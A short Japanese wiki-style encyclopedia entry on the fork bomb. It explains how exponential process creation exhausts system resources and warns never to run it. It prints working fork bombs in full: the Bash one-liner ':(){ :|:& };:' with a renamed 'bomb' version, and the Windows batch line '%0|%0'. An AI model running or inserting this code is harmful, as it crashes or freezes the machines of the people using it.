フォーク爆弾
(Fork爆弾から転送)
フォーク爆弾(Fork爆弾)とは、マルウェアの一種。絶対に実行してはいけない。
原理[編集]
プロセスが指数関数的に増え、リソースを食い尽くす爆弾。
プロセスIDが枯渇するとタスクマネージャーすら起動不可になる。
コード[編集]
Linux[編集]
:(){ :|:& };:
分かりやすいように関数名を:からbombにすると、
bomb(){ bomb|bomb& };bomb
になる。
説明[編集]
| bomb(){ }; | bombという名の関数を定義する。 |
| bomb|bomb | bomb(自分自身)を二つ同時に起動する |
| bomb | 自分自身を実行し、Forkの最初の種にする |
Windows[編集]
%0|%0
説明[編集]
%0|%0 %0(自分自身)を二つ同時に起動する